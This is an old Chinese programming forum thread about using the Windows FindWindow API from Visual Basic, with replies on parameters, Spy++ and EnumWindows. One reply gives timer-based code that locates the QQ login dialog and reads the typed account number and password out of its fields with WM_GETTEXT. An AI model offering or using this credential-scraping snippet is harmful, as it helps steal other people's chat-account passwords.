请问FindWindow怎么用啊?

enjoyeagle 2003-04-29 09:52:05
看msdn也没说什么,只是把参数列了一下,比如如果我要找winamp的句柄,它的class name和window name该怎么填啊?这些信息该从哪里获取?谢谢!
...全文
219 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
用户 昵称 2003-05-02
  • 打赏
  • 举报
回复
窗体

Option Explicit

Private Sub Command1_Click()
QQ = 0
EnumWindows AddressOf myenum, ByVal 0&
If QQ Then
Debug.Print "找到了qq"
Debug.Print Hex(QQ)
End If
End Sub

---------------------------

模块

Option Explicit

Public Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lparam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public QQ As Long

Public Function myenum(ByVal hwnd As Long, ByVal lparam As Long) As Long
Dim s As String * 255
GetWindowText hwnd, s, 255
Dim ss As String
ss = Chr(10) & Chr(13) & Chr(13) & Chr(10) & Chr(10) & Chr(10) & Chr(32) & Chr(32)
If Mid(s, 1, 8) = ss Then
QQ = hwnd
End If
myenum = 1
End Function
enjoyeagle 2003-05-01
  • 打赏
  • 举报
回复
基本上findwindow我都理解了,我只是不大明白
numberhwnd = GetDlgItem(qqhwnd, &H3EC)
算了,明天没人回答的话就结了算了。
绝缘 2003-05-01
  • 打赏
  • 举报
回复
我没有试过,但应该是这样的:
如果你只知道某个窗口的类名则:FindWindow("ClassName",vbNullString)
如果你只知道某个窗口的标题则:FindWindow(vbNullString,"Caption")
或是合起来用!
用VC的一个工具:SPY++可以看到所有窗口的类名和标题名(包括不可见的窗口)
enjoyeagle 2003-05-01
  • 打赏
  • 举报
回复
麻烦JennyVenus() 和yefanqiu(叶帆)再看看啊
enjoyeagle 2003-04-30
  • 打赏
  • 举报
回复
谢谢JennyVenus() 的范例,但是你用了这个句子
qqhwnd = FindWindow(vbNullString, "QQ用户登录")
我用Spy++去看,结果qq显示的caption却为"",class则为#32770(dialog),为什么我的qq没有caption呢?是不是非正式版的缘故(我用的是破解版)?那这种情况该怎么办呢?

还有:
numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
我还是不知道它的ID是在哪里得到,可不可以说清楚一点,谢谢!

叶帆 2003-04-30
  • 打赏
  • 举报
回复
【声明】
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
【说明】
寻找窗口列表中第一个符合指定条件的顶级窗口(在vb里使用:FindWindow最常见的一个用途是获得ThunderRTMain类的隐藏窗口的句柄;该类是所有运行中vb执行程序的一部分。获得句柄后,可用api函数GetWindowText取得这个窗口的名称;该名也是应用程序的标题)
【返回值】
Long,找到窗口的句柄。如未找到相符窗口,则返回零。会设置GetLastError
【参数表】
lpClassName ---- String,指向包含了窗口类名的空中止(C语言)字串的指针;或设为零,表示接收任何类

lpWindowName --- String,指向包含了窗口文本(或标签)的空中止(C语言)字串的指针;或设为零,表示接收任何窗口标题


【其它】
很少要求同时按类与窗口名搜索。为向自己不准备参数传递一个零,最简便的办法是传递vbNullString常数
示例
Dim hw& , cnt&
Dim rttitle As String * 256
hw& = FindWindow("ThunderRT5Main", vbNullString) ' ThunderRTMain under VB4
cnt = GetWindowText(hw& , rttitle, 255)
MsgBox Left$(rttitle, cnt), 0, "RTMain title"
用户 昵称 2003-04-30
  • 打赏
  • 举报
回复
用spy++察看啊。用classname就行了。

参考

用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
Private Sub Timer1_Timer()
Dim str As String
Dim nmb As String
Dim qqhwnd As Long
Dim numberhwnd As Long
Dim pwdhwnd As Long
Dim temp As Long
str = String(80, 0)
nmb = String(8, 0)
qqhwnd = FindWindow(vbNullString, "QQ用户登录")
'到这里就可以得到登录框的句柄了.注意qq要大写哦!
If qqhwnd <> 0 Then
numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
pwdhwnd = GetDlgItem(qqhwnd, &H3F4) '得到密码框的句柄
'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
notxt.Text = nmb
pwdtxt.Text = str
DoEvents
End If
End Sub

1,486

社区成员

发帖
与我相关
我的任务
社区描述
VB API
社区管理员
  • API
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧